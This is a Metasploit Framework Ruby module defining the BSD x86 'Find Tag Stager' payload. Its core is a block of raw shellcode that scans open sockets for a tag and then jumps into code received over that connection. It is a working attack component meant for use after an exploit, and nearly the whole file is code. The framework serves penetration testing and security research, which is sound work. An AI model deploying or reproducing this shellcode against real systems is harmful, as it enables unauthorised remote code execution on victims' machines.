##
# $Id: find_tag.rb 4571 2007-03-25 23:35:45Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##


require 'msf/core'
require 'msf/core/handler/find_tag'

module Msf
module Payloads
module Stagers
module Bsd
module X86

###
#
# FindTag
# -------
#
# BSD find tag stager.
#
###
module FindTag

	include Msf::Payload::Stager

	def initialize(info = {})
		super(merge_info(info,
			'Name'          => 'Find Tag Stager',
			'Version'       => '$Revision: 4571 $',
			'Description'   => 'Use an established connection',
			'Author'        => 'skape',
			'License'       => MSF_LICENSE,
			'Platform'      => 'bsd',
			'Arch'          => ARCH_X86,
			'Handler'       => Msf::Handler::FindTag,
			'Stager'        =>
				{
					'Offsets' =>
						{
							'TAG' => [ 0x1b, 'RAW' ],
						},
					'Payload' =>
						"\x31\xd2\x52\x89\xe6\x52\x52\xb2\x80\x52\xb6\x0c\x52\x56\x52\x52" +
						"\x66\xff\x46\xe8\x6a\x1d\x58\xcd\x80\x81\x3e\x6d\x73\x66\x21\x75" +
						"\xef\xfc\xad\x5a\x5f\x5a\xff\xe6"
				}
			))
	end

end

end end end end end
